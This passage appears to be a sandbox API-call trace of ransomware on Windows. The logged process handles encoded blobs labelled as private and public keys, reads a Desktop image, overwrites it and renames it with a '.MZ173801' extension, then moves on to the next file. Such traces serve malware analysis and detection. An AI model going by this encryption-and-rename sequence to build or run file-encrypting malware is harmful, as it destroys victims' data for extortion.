7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.970] GetCurrentThreadId () returned 0xab4 [0175.970] GetCurrentThreadId () returned 0xab4 [0175.970] GetCurrentThreadId () returned 0xab4 [0175.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.971] GetCurrentThreadId () returned 0xab4 [0175.971] GetCurrentThreadId () returned 0xab4 [0175.971] GetCurrentThreadId () returned 0xab4 [0175.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.971] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.971] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.972] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x301d [0175.972] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.972] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x301d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x301d, lpOverlapped=0x0) returned 1 [0175.973] CloseHandle (hObject=0x320) returned 1 [0175.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.979] WriteFile (in: hFile=0x320, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x301d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19fa24*=0x301d, lpOverlapped=0x0) returned 1 [0175.980] CloseHandle (hObject=0x320) returned 1 [0175.980] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg.mz173801")) returned 1 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] GetCurrentThreadId () returned 0xab4 [0175.981] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509abe0, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x7d5708d0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x7d5708d0, ftLastWriteTime.dwHighDateTime=0x1d5e18a, nFileSizeHigh=0x0, nFileSizeLow=0xe382, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fnWHfWmALlcTd.wav", cAlternateFileName="FNWHFW~1.WAV")) returned 1 [0175.981] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.982] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509abe0, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x7d5708d0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x7d5708d0, ftLastWriteTime.dwHighDateTime=0x1d5e18a, nFileSizeHigh=0x0, nFileSizeLow=0xe382)) returned 1 [0175.982] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fnwhfwmallctd.wav")) returned 0x20 [0175.982] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fnWHfWmALlcTd.wav", dwFileAttributes=0x80) returned 1 [0176.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKm